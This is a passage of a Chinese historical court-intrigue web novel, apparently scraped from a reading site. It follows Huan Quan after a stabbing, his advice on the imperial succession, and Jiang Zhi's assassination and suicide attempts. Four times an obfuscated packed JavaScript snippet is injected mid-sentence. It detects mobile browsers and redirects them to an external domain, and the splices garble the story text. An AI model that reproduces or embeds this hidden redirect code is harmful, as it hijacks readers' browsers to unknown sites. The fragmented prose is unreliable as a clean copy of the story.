桓玑还是有些担心,他知晓桓权聪慧过人,但更担心他聪明反被聪明误,最终走错了路。 “兄长以为,此刻的大将军府是何种情状?” 桓权笑了笑,惨白的面色上好不容易有了几分活人气息,眼眸低垂,盯着摊开的书简,似看非看,桓玑也猜不透自己这个庶弟的心思。 “如今朝局诡变,三郎需一切小心。” “兄长放心,权心中有数。” 桓权笑着答应了,桓玑却只隐约觉得不安,偏偏他知道从桓权这里是问不出什么的。 他与桓权年岁相差太大,父亲辞世后,桓权便由他生母邵氏抚养,邵氏对桓权要求甚严,连他这个嫡兄也无法插手。 桓权的确优秀,年少成名,聪颖早慧,十六七岁时,便敢游侠北地,未及弱冠,便能出使敌营,为官不及一载,便能权涉中枢。 在桓玑的印象中,桓权目光如炬,沉静善谋,并不是一个急躁之人,可他总有种直觉,桓权并非他看起来的那般沉稳。 俗话说,才高志大。 桓权的才情他是知道的,这样一个惊才卓卓的世家子弟,又怎愿一世平凡,他的志向必定远大,他的图谋必然不小。 桓玑并不害怕桓权有大志,他只担心在这个波诡云谲的时局中,桓权无法保全自己,甚至会牵连整个桓氏一族。 桓权送走桓玑后,急召医师,与兄长相谈许久,为了不让兄长看出异样,他的伤口已然裂开。 重新包扎之后,桓权便命人套上马车,换上浅碧色的葛布长衫,头戴同色缁撮,白罗袜,高齿履,不似世家子弟,反倒像是江南文士。 桓权正待出门,便有客来访,来人不待通报,便直接越过閽人闯至厅上,桓权见来人,挥手让跟过来的仆从先退下。 “士衡!好几日不见你,你这閽人也太不通情理了……” 来人还要对桓权抱怨,却瞥见桓权面无血色,恍如阴间魂鬼,吓了一跳,直接越过桌案,凑到桓权面前,仔细端详起来。 “几日不见,你这脸色怎么这样差?瞧着像是重病了一样。” “无碍,感染些许风寒。叔宝怎么来了?” 桓权,字士衡,桓氏三郎,其父为已逝太尉桓述,其母为宣文夫人。 身为太尉幼子,桓权享受着桓氏家族最好的家庭教育,无论他是否有意于仕途,他都可以轻易做官。 邓玠,字叔宝,邓氏五郎,其父为当朝左军将军,其母为琅琊王氏女,与桓权是总角之交,非比寻常,今为大将军府从事中郎。 桓权面无表情随意敷衍着,侧身将邓玠引入厅内,邓玠“哦”了一声,跟了上去,他并非看不出桓权的面色分明是失血过多所致,只是桓权不愿说,他就不便多问。 世家之中多的是阴私龌龊,适时地闭嘴是对彼此的尊重,更何况桓权刚刚经历朝堂辩礼,可是得罪了不少人,就是被暗杀也不是什么怪事。 “叔宝怎么有时间来寻我了?” “你我的情分,难道我来寻你还需要理由吗?” 桓权伸手从仆从手中接过勺柄,从瓮中舀出一勺为邓玠斟酒,酒水清澈,在漆盏中荡起涟漪。 “我听闻当日廷辩甚是精彩,只可惜当日我不在京都,不能一听士衡言语雄辩。” “巧言令色,不足之论。” 桓权并不愿多提当日论辩一事,只是轻轻一句话便揭过了,无论世间之人如何议论此事,于桓权而言都已成往事。 邓玠送酒入口的手闻言稍顿,身为多年好友,他敏锐察觉出桓权心情并不愉悦,心中猜测桓权身上的伤只怕就与此事有关,慢慢饮下盏中清酒,心中思虑着。 “陛下自那日廷议之后,已有数日不曾上朝,此事,士衡可知?” 桓权闻言面露惊异之色,摇头道: “那日之后我便告假在家中养病,不曾过问朝堂之事,此事确实不知。叔宝如何得知?” 邓玠观察桓权神色不似作假,便道: “士衡难道忘了,我父亲乃是当朝左将军,平日虽很少去官署应卯,朝中之事多多少少也是瞒不过父亲的。” 桓权颔首道:“原来如此,只是不知陛下不上朝是何缘由。” 桓权面露忧色,好一副忠君体国的模样,但在这一个世家掌权、皇权衰微的时代,天子不临朝实在算不上一件特别的事,尤其是在苏钧之乱后,天子就越发懈怠朝政,整日沉湎后宫之中。 邓玠不知桓权这副忧心忡忡的模样是真是假,他也无意去探究,世家之中,善于伪饰之人不在少数,虚伪的人多了,真假也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653579|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不再重要。 至少在时人口中,桓权是有忠义之名的,除却当年孤身出使宣城一事,当年苏钧掌权时,桓权二拒征辟一事,亦传为一时美谈。 “我听闻,宫里传来消息说,陛下病情日益沉重,只怕数日不久。” 桓权苍白的脸色一沉,目光斜睨了邓玠一眼,手中的木勺也跌落至酒瓮之中,青白面色,竟真的宛如从地狱归来的烈鬼,邓玠的心下也跟着一沉,只听得桓权道: “不可妄言。” “非是我妄言,而是……”邓玠正待要说下去,见桓权目色阴沉,犹如深渊之水,便不好再说了,只得转而道。 “罢了,这些本就非你我能够左右的,你我还是醉饮日月、且乐逍遥好了,谁知道明日灭族之祸又到谁家。” “你这话什么意思?” “自汉末以来,身亡族灭者不计其数,自我入仕以来,亲眼见到多少世家豪族覆灭只在旦夕之间,俗话说,物伤其类,秋鸣也悲。 桓权,你说我们也能扬名立万吗、留名青史?” 桓权原还因邓玠的慨叹而忧心绰绰,听到后面的问句,反是一愣,笑道: “秣马厉兵,扬声沙漠,驱除护虏,封狼居胥,何愁不能留青名于简册?” “你开什么玩笑?父亲他们都没能做到的事情,难道我们能够做到?” 桓权起身,整理衣襟,来到墙架旁,从中抽出一册书来,顾首回望,摇着手中书简,对邓玠道: “古人之事尽在书中矣! 公问我,莫如问它。” 说着就将书简抛给了邓玠,邓玠一把接过,布囊之中是泛黄的竹简,囊外系有锦绳,上有木牌,缀有《太史公书.卷三》数字。 邓玠看着手中的书简,无奈摇头,笑了,没有辩驳,道: “书我收下了,不过你答应我的屏风,别忘了。” “书中有真意,欲辨已忘言,可惜了,叔宝,如此灵秀之人却是一浊夫。” “……你又拐着弯骂我。” 邓玠斜睨了桓权一眼,他虽不似桓权博学多识,却也能听出言语中的好歹。 “……”桓权没有否认,只是道: “沧浪之水清兮,可以濯吾缨,沧浪水浊兮,可以濯吾足。” 桓权只是瞧着窗外的□□,悠然一叹,唱着渔父之辞,邓玠瞧着桓权,心中猜测他是因为江氏一族的事。 在邓玠的认知中,桓权并不算是一心狠手辣之人,他也曾是纵情山水的文士名流,也曾在江畔与人唱和屈子骚赋,也曾两拒征辟、无心名利…… 若非当年苏钧之变,桓氏一族后继无人,桓权并不需要急入官场,也需要面临如今进退两难情状。 身为朋友,他虽然无法帮桓权走出困境,却也能做些传递消息的小事,笑着起身,搂着桓权的脖子,笑道: “江家那女郎,听说你还留着呢?过几日关于江氏一族的圣令就该下了,你要是想保的话,速度得快。” “什么意思?” 邓玠笑而不语,拍着桓权的肩,迈开脚步,跨出门槛。 桓权看着邓玠的背影,思索着邓玠刚刚说的话,手心不由捏紧,眉头紧蹙,随即手又被慢慢松开,转身入内室更衣前,对门外吩咐道: “备车,去大将军府。” 4. 第四章 桓冲尚公主 江芷浑浑噩噩被关在房间里几天,她能清楚感受到利刃刺进肌肤后那的感觉,鲜血随着匕首沾染到手心后黏腻的触感,以至于之后她是怎样被带回房间的,毫无印象。 那是江芷第一次杀人,她不知道结果,但那种感觉并不好。 她有些害怕,害怕桓权真的死于她手,哪怕她明明是要桓权去死的。 对于一个十八岁的少女来说,杀人,的确是一件艰难的事。 好几天后,江芷并没有等来桓权已死的消息,整个府中一片安静祥和,侍候她的女使也无任何异样,一切如常。 人的勇气往往只是一瞬间的事,血气上头的那一刻,什么都可以不顾的,可冷静之后,却是无尽的悔意,可江芷并不后悔自己的刺杀行为,那是她的父兄,她需要为他们做些什么。 可江芷并不希望因此就搭上自己的性命,她很清楚,自己真正的仇人是桓冲。 桓权固然可恨,可若不能杀掉桓冲,又怎能算是真正为父报仇呢? 终于,在一日脯食时,江芷对来给自己送餐的蕲茝问道: “桓权呢?他……他还好吗?” “没能如女郎的意,我家公子身体康健,一切如意。” 蕲茝冷哼一声,回答地很冷淡,甚至夹杂几分怒气,若非士衡公子要求她必须善待江芷,她才不愿来。 一想到自家公子因眼前这个女人流了那么多血,在床上躺了好几天,蕲茝就恨不得上去揍江芷一顿。 “喔。” 江芷答应了一声,心中也暗自松了口气。 脯食罢,她启窗看向窗外盛开的秋海棠,心中戚戚然,父兄身亡,自己与桓权已是血海深仇,未来等待自己的又将是什么呢? 海棠花盛,是当日她初入京都时,桓权听闻她喜欢海棠,特意令人在她的居室外种上满院海棠,并将她的居室命名为〔棠芳榭〕,作《咏海棠》一首。 她最喜其中那句,“海棠秋缀,携手芳阴,最是怜花处。” 当日总是盼着海棠花开,可以与郎君携手同游,如今海棠花开时,却是物是人非。 江芷承认自己看不透桓权,曾经她以为桓权待自己有意,可他却能面不改色看着自己满门被屠,后来她以为桓权对自己冷心无情,可他却一直善待自己。 刺杀之后,自己的衣服饮食与之前并无什么不同,除了蕲茝外,其他的女使待自己依旧是恭敬有礼,并没有因自己家族衰败而有所不同。 桓氏一族权势滔天,桓权更是其中的佼佼者,自己刺杀桓权,无论是否成功,依桓氏一族睚眦必究的性子,江芷知道自己都不会有什么好结果。 当年江氏杀桓修父子一事,能被记恨到今日,以至于有今日江氏灭族之祸。 “墨书,你说母亲她们还好吗?” 墨书是江芷可以留在身侧的少数旧人之一,其他从宣城带来的仆役女使都被打发到了外院去了。 桓府规矩甚多,哪怕如今她所居住的不过是桓府别院。 当日她入京都时,桓权便将她安置在此处,除了她从宣城带来的女使外,另拨了八个女使和四个姆妈来侍候。 后来江氏巨变,她带人回宣城为父兄收尸,因家中妇幼无依,她便将奴仆都留给了母亲和弟弟妹妹防身,自己则跟着桓权上京告状。 如今江氏报仇无望,江芷很是担心自己的母亲,只是她被困府中,半分消息也无。 “女郎要不问一问士衡公子?” 墨书试探性提议。 江芷微怔,摇头,到如今,她已不愿再见桓权。 尽管她心知桓权可以解她心中疑惑,桓权应是最清楚江氏一族如今下落的人了。 拙庐之中,疏叶半落,月上中空。 “叔父!小叔父!” 桓冲带剑直入内堂,守门的小童阻拦不住,紧随其后。 桓权正在内堂倚着引枕看书,听见外面骚乱,正要毛舒出去瞧瞧时,桓冲就冲了进来,正与毛舒迎头撞上。 “没长眼睛吗!” 桓冲本就带伤,一时不察,竟是一个踉跄,幸而及时稳住,才不至于摔倒出糗,当即就带着怒气骂了一句。 桓冲稳住身形,奇怪怎么没人请罪,这才正视看向了来人。 “舒姊姊。” 桓冲气势顿时就弱下来,低声唤了毛舒一声,毛舒微福身子,道了一声: “太谦公子。” “冲儿?”桓权闻言将目光从简册中移开,看向了门口站着的几人,挥手让跟随的僮仆都退下了。 毛舒见状,知他们叔侄有话相商,略一拱手,也就离开了。 “你不在府中养伤,来我这儿做什?” 桓权开门见山直问来意,目光在桓冲身上逡巡,本来理直气壮的桓冲被这样的目光打量着,也不由软了几分。 桓冲对于桓权这个叔父是又敬又怕,敬是因为当年是他带着自己孤身讨要回父祖尸首,今日又助他报得父仇,这份恩情,是他此生如何都无法报答的。 敬则生畏,怕则生惧。 “叔父,为什么?” 桓权只是斜睨了桓冲一言,沉默了片刻,道: “是为江氏一族?” “嗯。” 桓冲觉得有些委屈,瘪嘴点点头,自父祖亡故后,叔父便对他多有照料,此次能顺利报仇雪恨,叔父出力不少。 叔父向来是最疼爱他们这些子侄的,亲自教导他们诗书经学,又怜他丧父,更是多有照顾开导。 “你已杀江氏父子四人,也够了。冤冤相报,总要有个结束的。” “可……” “你在担心江氏一族的报复?” 桓权抬眼,桓冲猛然对上叔父的目光,轻飘淡然中带着丝蔑视讥讽,似乎是在嘲讽他的胆小,桓冲慌忙垂下头。 “叔父,我……” “若冲儿要的是江氏亡家灭族,抱歉,叔父做不到。” 桓权的语气很平淡,但对于桓冲而言却是力若千钧,不需要解释,桓冲只答应了一声“是”。 桓冲泄了气,告礼之后转身打算离开,心中的失落无以言表,桓权却在此时唤住了他。 “等等,你来得正好,我正好有件喜事要告知你。 陛下已决定让你尚永康公主,三日后将有黄门郎前来宣读旨意,届时你好好准备一番,莫要失了礼数。” “什么?” 桓冲惊得瞪大了眼睛,直愣愣盯着桓权,这个消息来得太过突然,也太过离谱。 就在半月前他才因私杀江氏族人一事被囚于槛中,纵使最后被释放,也因为行事莽撞,被打三十杖,害得他好长时间只能躺在榻上。 当日报仇时,他赌上自己的身家性命,仕途前程,如今能够平安归家已是万幸,尚公主是万万不敢想的。 “尚公主?为什么?” “大胆!天子圣令,也是你能问的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毛舒缓缓走近桓权,站在离桓权三尺远的书案对面,俯视着神魂迷离的桓权,桓权抬头看向毛舒,将书札随手一合,起身背手于后,立于烛台之侧,言语颇为严厉,道: “陛下圣意,岂容你这婢子随意揣度!” “奴不过是实话实说罢了,士衡公子敢做不敢认吗?” 毛舒冷笑一声,对于桓权的威胁并不害怕,反而言语继续迎上去,目光紧紧盯着桓权,犹如一只鹰隼紧盯着猎物。 “纵使陛下有意,我亦不能娶。” 桓权长叹一声,终是道出了自己的无奈。 “当年之事,本就是天子有愧于你桓氏,如今让你桓氏尚公主,是天子赔罪之举,亦是拉拢世家之心。公子,奴说的可对?” 桓权颔首,道: “尚公主后,冲儿便是驸马都尉,再过两年,送入荆州军中历练,前程自可无忧。” “你如此精心为冲公子筹谋,还挨了一刀,冲公子可未必知道您的良苦用心。” “这伤和冲儿没关系,你别瞎攀扯,有时间练练你那字吧,和狗爬的没两样。” “别这样说啊!狗写的可比我强多了。” “……” 5. 第五章 大将军梁冀 “士衡,你来了。” 桓权刚一踏进大将军府内堂的门槛,就被中护军梁琛捉住手腕朝堂内走去。 “听闻你前些日子染病,如今可是已经病愈?瞧你这脸色,似是还有疾在身。” 梁琛边走边说,完全没有给桓权说话的机会,等转入屏风,见到大将军,梁琛松开手,直接来到大将军身侧,道: “兄长,士衡来了。” “臣,见过大将军。” 桓权趋步上前,于阶下站立掀开衣袍,朝端坐在上的大将军跪身作揖,大将军闻言放下手中简册,伸手虚扶,道: “士衡快起,你我两家是世交,不必如此多礼。” 桓权起身拱手立于侧旁,大将军梁冀抬起眼睑看向桓权,梁琛会意伸手让堂内侍候的仆役侍卫尽数退下。 “宫中之事,士衡可知?” “略有耳闻。” “士衡以为如今情势如何?” “古来,社稷之争,非天子家事,立嗣之事,事涉天下,大将军可早度之。” 梁冀闻言来了兴趣,起身来到桓权身前,饶有兴致笑问: “士衡以为该当如何?” “今天子病重,立嗣为重,今天子有三子,其中肃王为长,却为王淑媛所生,其母出身微贱,陈王为幼,乃为顾夫人所生,其母世为冠族。 古语有云:‘无冢适,选于庶也。’今皇后无子,当选于庶也。无嫡则长,为古礼也,故当为肃王。 然陈王慧敏聪颖,又有仁义之名,陛下素喜之,顾夫人又为皇后之妹,若论陛下心意,恐为陈王。” 桓权没有提及天子的第三子,却是奴婢所生,既非长,又非贵,更无帝王恩宠,年纪最幼,尚未有封爵。 这样的身份,在这个上品无寒门,下品无士族的时代,本就被排除在储君之争外。 “长者为尊,贤者为贵,确实艰难。” 梁冀听完桓权的话叹道,尽管桓权并未表明自己的态度,然二者优劣他却已然道尽。 “天子之意难测,然顾夫人出身江左旧族,若陈王为太子,则江左之人必将势大,届时兄长恐进退维谷。” 梁琛顺着桓权的话继续往下说,此次召桓权入大将军府,虽是为商讨立储一事,然此前梁冀早已与府中其他谋士有所探讨。 梁冀斜睨梁琛一眼,低声喝到:“你先住口!此事你懂什么! 士衡,你接着说说你的看法,不必在意梁护军的话。” “是。臣以为立储一事于大将军而言,不在于立何人为太子,而在于大将军在此事中所担任的角色。” “此言何意?” “昔伊尹辅政,废立天子,权涉天下,而有万世之名;霍光为相,废立两帝,煊赫一时,留名于青册之上。古来能废立天子者,皆非寻常之人可为,今天子重病,方欲立太子,可见天子亦犹豫已久。 大将军今执掌天下权势,其功不输于昔日卫霍,立储一事,自然由大将军之意为之即可。 若依常理度之,自然是肃王即位,于大将军更为有利,肃王出身微贱,又无母族帮衬,自然可由大将军随意处之。 然大将军莫非忘了昔日汉宣帝之事乎?今之肃王比之昔日宣帝,如何?大将军可还记得昔日汉和帝之事乎?和帝之母乃为被谮杀的梁贵人,其势力孤微,却能在登基为帝后,四年后斩杀权臣窦宪,此时和帝年不过十四。 古来微寒者后贵之,必能忍常人之所不能忍,行常人之所不能行,肃王善隐忍有谋略,若他为帝,恐大将军危矣。” “士衡之意,是陈王?” 桓权笑而不语,梁琛却有些担忧的开口道: “陈王有母族顾氏帮衬,大将军纵使助他继承大统,陈王恐怕也不会感念大将军恩德。 此来不是白白为他人做嫁衣吗?” 桓权道: “不知护军以为肃王与陈王,何人更易继承大统?” 梁琛一时陷入沉默,自古以来,帝王承袭,除嫡长子的法统外,更为看重的是天子的心意。 今天子属意陈王,陈王背后又有顾氏一族,不情不愿道; “自然是陈王。” “陈王的背后是江左顾氏,这是他的优势,却也是他的劣势,俗话说,由此兴之,由此败之,外戚这把剑,不是谁都能握好的。 更况,鹬蚌相争,渔翁得利。” 桓权淡淡笑道,那双漆黑的眸子中闪着奇异的光,诡谲奇异,似乎穿透时光,尸山血海。 梁冀闻言冷笑一声,把玩着手中的漆盏,“士衡当真是好口才,”夸赞之时,突然目色精光犹如利箭射向桓权,眼神中满是戒备试探,接着道: “这般为陈王说话,不知什么时候士衡和顾氏关系这般亲密了?” 桓权只是淡然道: “一家之言罢了,大将军信与不信,全在于大将军,臣不过是尽其忠行其事而已。 相信此前已有无数人为大将军建言献策,臣不过是其中最微末者罢了,人微言轻,大将军不信亦是情有可原。 旁人皆劝大将军立势微者为储君,某则不然,与世独行,大将军疑之,亦是情理之中。” 桓权并没有急着为自己辩解,反而徐徐道出梁冀不信任自己的原因,但言语之中所透露出的孤傲,却又令梁冀不得不高看于他。 梁冀盯着桓权的的眼睛,想从他那双璀璨的眸子中看出内心的诡谲算计,若是旁人被这样如同猛虎的目光凝视,早已神魂俱碎,瘫软倒地,恨不能立马伏法认罪。 然而桓权却神色如常,犹如傲竹枯松,不惧凌然风雪,绝世独立,清傲孤寒。 也不知过了多久,饶是在一旁看着的梁琛捏着一把冷汗,暗暗为桓权担心,偏偏当事人并未有任何退缩,梁琛甚至觉得那股平常内敛的孤傲,此刻一览无余。 “士衡是在暗讽本将军不识良才,不听良言吗?” “某不过是言由其衷罢了。” “哈哈哈!好!好!好!” 梁冀突然放声大笑,连唤了三个“好”字,一旁的梁琛也松了口气,知道这关桓权算是过了。 “果然是名满江左的桓士衡,卿即有此见识,来日必将如鲲鹏展翅,大有作为!” “某不过一介书生,全奈大将军赏识。” 桓权回答的不卑不亢,并未因为梁冀的盛赞而得意,盛怒之下而无惧意,盛赞之下亦无得意,这样的人,饶是多识英才的梁冀也不得不高看。 河东梁氏与颍川桓氏是世交,梁冀之父,已过世的太傅乃是桓权的老师,桓权与梁冀兄弟二人私交甚笃。 桓权年纪虽小,然见识匪浅,当年苏钧之乱,桓权便出入梁冀幕府之中,为其出谋划策。 后来入仕,虽名为天子侍郎,然出入大将军幕府亦是常事,这也是他能够面对梁冀的试探与威胁毫无惧意的一大原因。 他出身颍川桓氏,无论他的计策梁冀是否采用,梁冀都不会为难与他。 世家的傲气,很多时候只是因为他背后有着一个庞大的家族,而他的生命亦将属于家族,这是每一个世家子弟必然的命运。 大将军的母弟梁琛亲自送桓权出府,两人走在游廊之上时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653581|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁琛还在向桓权请教推荐陈王的原因,桓权又详解了一番。 直至出府,梁琛仍恋恋不舍,拉着桓权的手腕,道: “前些日子你托病避嫌时,我得了几坛好酒,过几日,待元达巡视归来,我们几人定要好好聚上一番,届时定要不醉不归。” “好,如此某便拜谢梁护军好意了。 此番江氏一族的事有劳梁护军了,我略备了薄礼,已着人送入护军府中,还望护军莫要嫌弃。” “诶!士衡客气了,不过是举手之劳。只是我不明白,士衡廷上辩法时是何等意气风发,侃侃而谈,为何此番又要放过江氏全族呢? 莫非真是因为江氏女?听闻江氏女有倾国之姿,美艳绝伦,窈窕淑女,君子好逑,看来士衡也逃不脱这美人关啊!” 梁琛看着桓权,捻须笑道,眼神不免有戏谑意,桓权只是低头笑了笑,并未过多解释。 “只是……” 梁琛又皱眉,犹豫道: “士衡今年轻气盛,难免为女色所惑,却不要忘了男儿志在四方,莫要沉湎美色忘了男儿志向。 那江氏女虽有些才貌,毕竟是罪臣之女……当日陛下有意赐婚,分明是属意于你的,你却故意曲解,让你那侄儿做了驸马都尉。” “季玮兄误会了,陛下赐婚乃是荣耀之事,权又如何能够曲解拒绝,冲儿虽年幼,然胆识超凡,最难得的是他的孝心。 我朝以孝治国,冲儿的才能品行皆远胜于我,更兼冲儿与永康公主年龄相仿,正是佳偶。 我桓氏一族能够尚公主,乃是陛下对我桓氏一族的信任,又与江氏女有何关系。” 桓权不急不缓笑着向梁琛解释着原因,梁琛被桓权这义正言辞的话弄得一时噎住了,半晌,方才梗着脖子继续道: “无论此事与江氏女是否相关,我都奉劝士衡一句,莫要忘了自己的身份。 你若真喜欢那江氏女,放在外宅做个宠姬就行了,别想着什么明媒正娶,你二人之间可是隔着血海深仇的。 这也是大将军的意思,别耽溺于儿女私情,江氏的事到此为止罢。” “多谢季玮兄提醒,权记下了。” 桓权与梁琛辞别,离开了大将军府,仆人牵来了马车,桓权坐在车内,鹿角银丝熏炉中升起的寥寥香烟在上空打了个旋后消散了。 桓权用手撑着脑袋,想着刚刚在大将军府所发生的一切,想到梁琛刚刚的提醒,桓权不耐揉着太阳穴。 江氏女,如何处理,确实是个问题。 一想到江芷,桓权就觉得伤口隐隐作痛了,不得不说,江芷下手是真狠,是个有情有义的姑娘。 桓权毫不怀疑,当时江芷是动了杀心的,若不是自己反应及时,恐怕已经命丧黄泉。 桓权不是说心慈手软的人,对于想取自己性命的人素来不会心软,这些年来,他手上的鲜血已经是不知凡几了。 年少时,游历北地,面对贼寇劫道,他曾接连手刃数人,而面不改色。 苏钧之乱时,他曾亲眼看着两军厮杀,尸横遍野。 桓权知道自己是不该放过江芷的,而杀掉江芷,甚至除掉整个江氏一族,对于自己而言,轻而易举。 放与杀,于他而言不过是一念之间。 许是不愿手染鲜血,许是欣赏江芷孤身刺杀于他的勇气,许是同情于江芷一夜之间失去父兄,桓权到底是放过了江芷。 身边所有人都在奇怪,他桓权,竟然会收手,给了江氏一族一条生路。 桓权看着那缕消散的青烟,他比任何人都明白自己为何要这样做。 6. 第六章 江芷自尽未果 江芷思前想后,还是决定去求桓权,她如今被囚于这方寸之地,全然不知外面的消息,对于家人的担忧足以让她丢掉所有的自尊。 消息是上午让蕲茝送出去的,她清晰地记得蕲茝鄙夷不屑的眼神,强压心底的耻辱,迎上蕲茝的目光。 蕲茝倒没拒绝她,只是说自己会如实转告消息的。 江芷整日都辗转不安,她不知道蕲茝把消息送到没有,也不知道桓权是否还愿意见她。 直到点灯时分,江芷才听见院门口的声响,打开门看去,果然是桓权。 他一身青白暗纹素裳,头裹缁撮,腰佩长剑,身形颀长,犹如孤竹傲松,身边携有两个带刀的仆役,立在院门处,遥遥看着自己。 月色幽暗,江芷看不清桓权面上的神色,但她知道桓权的神色不会有着太大的波动,他总是能保持着异乎常人的冷静与淡漠。 “三公子,何不进屋一叙?” 江芷率先开口,今是她有求于人,她必须得摆出求人的样子来,只是她也不知在经历刺杀一事后,桓权是否还愿信任于她。 “好。” 出于意料,桓权没有拒绝。 江芷将桓权请入房中,让其上座,桓权倒没有拒绝,他身边的仆役亦随他入房,立于他身后。 在烛火光明处,江芷才注意到桓权的面色较平日要苍白许多,想来当日的伤应该尚未痊愈。 “听闻江女郎寻我,不知所为何事?” “你的伤可……还好?” “已然无碍。” “当日我并非有意……我只是有些急躁。” “我知道,我并未怪你。” 桓权看向江芷的目光并没有太多责备,江芷听到桓权此话却是一怔,难以置信瞪着桓权。 他一如既往的温润,温柔到让江芷感觉有些不真实。 “你……当真不怪我?” 江芷难以置信再问了一次。 “若我是你,也会如此,人之常情罢了。” 江芷心中涌出一股难言的失落,刺杀一事,于自己是痛苦纠结,于他却是无关痛痒。 江芷不知该说桓权是名士之风呢?还是说他是木石之心? “桓权,你当真是……好啊!” 桓权只是奇怪的瞥了江芷一眼,并未说话,江芷苦笑一声,多年来不过只是她一人的独角戏罢了。 打掉牙往肚里吞。 江芷今日算是体验到了,只可惜世事纷纭,亲人的性命容不得她去感伤。 “桓三公子,我想知道我那些好活着的亲人,她们如何了?” “谋逆之罪,按律当夷三族,女郎以为呢?” 江芷闻言只觉眼前一黑,脑袋霎时间就炸开了,顿时失去了知觉。 待醒来时,桓权正蹲在自己面前,掐着自己的人中,见自己醒来,便收回手,后退了两步,立起身来。 “母亲!阿弟!阿妹!” 江芷回过神来,想到自己的亲人,顿时长嚎一声,声音凄厉,划破暗夜幽冥,泪水夺眶而出。 “你先别哭,她们现都押解在狱中,暂无生命危险。” 江芷惊异看向桓权,挣脱开扶着自己的女使,一步步踉跄着向桓权走近,问道: “我母亲她们还活着。” 桓权颔首。 江芷心中松了口气,立刻又警觉起来,她一步步逼近桓权,目光急切而又彷徨,道: “桓三公子,我知道你有办法,你一定可以救我母亲她们的,对不对?” 桓权没有说话,后退了两步,看着江芷癫狂的模样,使了个眼色,桓权身侧的仆役女使尽数退下。 “只要桓三公子愿意救下我母亲,我愿结草衔环,为奴为婢。” 江芷当即就跪在地上,朝着桓权猛磕头,桓权明显被吓了一跳,伸出手想扶起江芷,却又因有所顾忌,将手收了回去。 “你不用跪我。” 桓权苦笑一声,后退半步,别头,不去看江芷,继续道: “此事乃由三堂会审而定,我不过是一小小尚书郎,如此朝廷大事,又岂是我能够置喙的?” 江芷泪眼婆娑抬起头,见桓权不为所动,心灰意冷苦笑一声,笑自己竟然会糊涂到要去求一个杀父仇人! 笑自己一片真心被白白辜负,笑自己命如浮萍,身不由己。 江芷摇摇晃晃站起身,想起曾经自己满怀深情,想起这数月来的巨变,想到自己丢弃尊严去求仇人的卑劣模样…… 泪眼模模糊糊看向了房中的柱子,想起曾经陪着母亲,一家人其乐融融的模样。 母亲!对不起! 我救不了你们,便只能先走一步了! 桓权一惊,伸出手想要拉住江芷,然而手慢了一步,衣袂从自己手中脱落,江芷已经触柱,桓权看着从江芷慢慢瘫软的身体,额头上喷涌的鲜血。 “医师!快宣医师!” 桓权抱着江芷的身体,彻底慌了。 安顿好受伤的江芷后,桓权就回到了自己的正院,院中有着一棵硕大的梧桐树,遮蔽了半个中庭。 秋叶半落,疏影月浅,步于中庭。 “我竟不知她原是这样的烈女子。” 立于廊下的毛舒听到桓权这话,冷笑一声,走到桓权身侧,一身粉色绮罗重衫,宛如含苞待放的芍药。 “公子为何要戏弄江女郎?您想得到一个什么答案?” “何言戏弄?” “您大可直接告诉她,朝廷对于江氏一族的处置,何必含糊其辞?” 桓权不答,只是怔怔看着从树隙中透出的月影,许久,方才缓缓道: “待人醒了,告诉她,江氏族人已经无恙,东城府的宅子就赠予她了,算是我对她一份歉意。 这些日子你带几个人将那宅子收拾出来,等她伤好后就送过去吧。” “是。” 桓权长叹一声,沉默了许久,道:“还是我亲自去看看她吧。” 月色斑驳,落于二人身上,宛如流动的秋水,盈盈浮动,泛着缕缕银光。 江芷在模模糊糊中,似乎看到一个青年守在自己身侧,又冷又倦又疼,江芷没有多余的精力去思考。 那人拉着她的手,声音仿佛是来自悠远的天际。 “安心歇息,一切有我。” 尽管看不清人影,但这个声音格外令人安心,江芷又陷入了昏迷之中。 桓权看着医师给江芷换药,直到江芷已转危为安,他才放下心来,只是还不愿离开,只是静静手中昏迷中的江芷。 两天两夜,不曾合眼。 江芷在黑暗中摸索,她太累了,短短数月,天上地下。 恍惚间她见到了已经离世的父兄,江芷委屈奔跑向父兄,她向他们哭诉着自己数月来的委屈,她抱住自己的父亲,祈求父兄带她一同离开。 可父兄没有回答她,只是摸着她的头,告诉她,“好好活下去”,然后渐行渐远,江芷拼命想要追上去,脚步却像灌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653582|172851||http|test|mini|href|location''.split(''|''),0,{})); () { 